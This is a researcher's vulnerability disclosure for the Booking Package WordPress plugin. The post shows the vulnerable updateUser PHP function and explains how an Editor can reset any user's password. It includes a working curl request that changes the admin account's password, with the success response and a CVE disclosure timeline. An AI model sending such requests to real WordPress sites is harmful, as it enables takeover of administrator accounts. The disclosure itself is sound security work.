Booking Package is a popular WordPress plugin designed for managing appointments, reservations, events, room rentals, and other types of online bookings directly from a WordPress website. Since its release, the plugin got more than 1.1 million downloads and is currently active on over 10,000 WordPress sites. With that level of adoption, even a small authorization mistake can place a significant number of websites and their users at risk.
The Vulnerability
During the security testing, I focused on the functionality available to an Editor-level user. Why ? Because this plugin manages appointments, reservations etc. which involves handling customer and client accounts.
Inside the WordPress dashboard, the editor role account have access to its booked-customer management page, where user information could be viewed and updated.
At first, this appeared to be normal functionality for managing booking customers. However, it raised an important question: was the update operation restricted to customers created or managed by the plugin, or could an Editor use it to modify any WordPress account?
While I was reviewing the page source and the requests made by the plugin, I identified a shared AJAX action named package_app_action. The page also shows a valid nonce for the logged-in Editor role account. So I started checking the source code for anything related to user account update. To do it easily I searched for any call to the WordPress core function wp_update_user and I found it ! They used this function with a mode called updateUser which routes the request to the the function updateUser from lib/Schedule.php file. You can check the function below
public function updateUser($administrator, $accountKey){
$isExtensionsValid = $this->getExtensionsValid();
if ($isExtensionsValid === false) {
$response['status'] = 'error';
$response['error_messages'] = __("Member related functions are not available", 'booking-package');
return $response;
}
global $wpdb;
$table_name = $wpdb->prefix . "booking_package_users";
$response = array("status" => "error");
$userId = 0;
$currentUser = wp_get_current_user();
if ($administrator === 0 && $currentUser->user_login !== sanitize_text_field($_POST['user_login'])) {
$response['error_messages'] = 'Error';
return $response;
}
$user = get_user_by('login', sanitize_text_field($_POST['user_login']));
if ($user === false) {
return $response;
} else {
$userId = $user->ID;
$userOldEmail = $user->user_email;
}
if (intval($userId) == 0) {
$response['error_messages'] = "Not found user ID.";
return $response;
} else {
$customUserFields = array(
'TEXT' => array(),
'SELECT' => array(),
'CHECK' => array(),
'RADIO' => array(),
'TEXTAREA' => array()
);
if (isset($_POST['customUserFields']) === true) {
$customUserFields = json_decode(
sanitize_text_field(stripslashes($_POST['customUserFields'])),
true
);
}
$login = 0;
$status = 1;
$hash = 0;
$userdata = array('ID' => $userId);
if (isset($_POST['user_email'])) {
$userdata['user_email'] = $_POST['user_email'];
$hash = wp_hash(
sanitize_text_field($_POST['user_email']) .
sanitize_text_field($_POST['user_login']) .
date('U')
);
} else {
$hash = wp_hash(
sanitize_text_field($userOldEmail) .
sanitize_text_field($_POST['user_login']) .
date('U')
);
}
if (isset($_POST['user_pass'])) {
$login = 1;
$userdata['user_pass'] = $_POST['user_pass'];
}
$user = wp_update_user($userdata);
if (is_wp_error($user)) {
$response['error_messages'] = "Update error.";
return $response;
} else {
if ($administrator == 1) {
$status = intval($_POST['status']);
}
$bool = $this->update_profile(
$userId,
$_POST['user_email'],
$status,
$customUserFields,
$hash
);
if ($login == 1) {
$userdata = array(
'user_login' => $_POST['user_login'],
'user_password' => $_POST['user_pass'],
'remember' => true
);
}
$response['status'] = 'success';
$response['login'] = $status;
do_action(
'booking_package_updated_user',
array(
'user_id' => $userId,
'user_login' => $_POST['user_login']
)
);
return $response;
}
}
}
As you can see its checking if $administrator == 0 but the plugin calls the function from index.php like the following
$response = $schedule->updateUser(1, null);
The function call sends 1 which skip the condition and run the updates from user supplied username ! It simply get the user details and placed into $userdata and finally passed it to wp_update_user WordPress function! After checking this I obtained the nonce for the editor role account and build a cURL command like the following (For saving time, I used ChatGPT to build the curl command quickly)
curl -X POST 'http://localhost/wordpress-research/wp-admin/admin-ajax.php' \
-b 'wordpress_logged_in_a4d85ccc5350c9dd13975aa6dc414487=editorUser%7C1773869078%7CvwEw4fMvEHftIUMd3pJeuaIqQlZJn2QjxzLiqkUX0Ju%7C055156fe832d31d39c4dc2fc5ac5bee807f3b05cbd00f1fd3fc01716aea68c44' \
-d 'action=package_app_action' \
-d 'nonce=37d20db7aa' \
-d 'mode=updateUser' \
-d 'user_login=admin' \
-d 'user_email=admin@example.com' \
-d 'user_pass=NewPass123!@#' \
-d 'status=1' \
-d 'customUserFields={"TEXT":[],"SELECT":[],"CHECK":[],"RADIO":[],"TEXTAREA":[]}'
The server returned a successful response like the following :
{"status":"success","login":1}
After getting the success response, I tried to login to admin account and it worked !! So the impact is clear, an editor-level user can easily takeover any account including Admin ones !
Disclosure Timeline
- Mar 17, 2026 : I reported the vulnerability through Wordfence Intelligence
- May 28, 2026 : The report was validated and CVE-2026-9851 was assigned.
- June 5, 2026 : The CVE was disclosed publicly.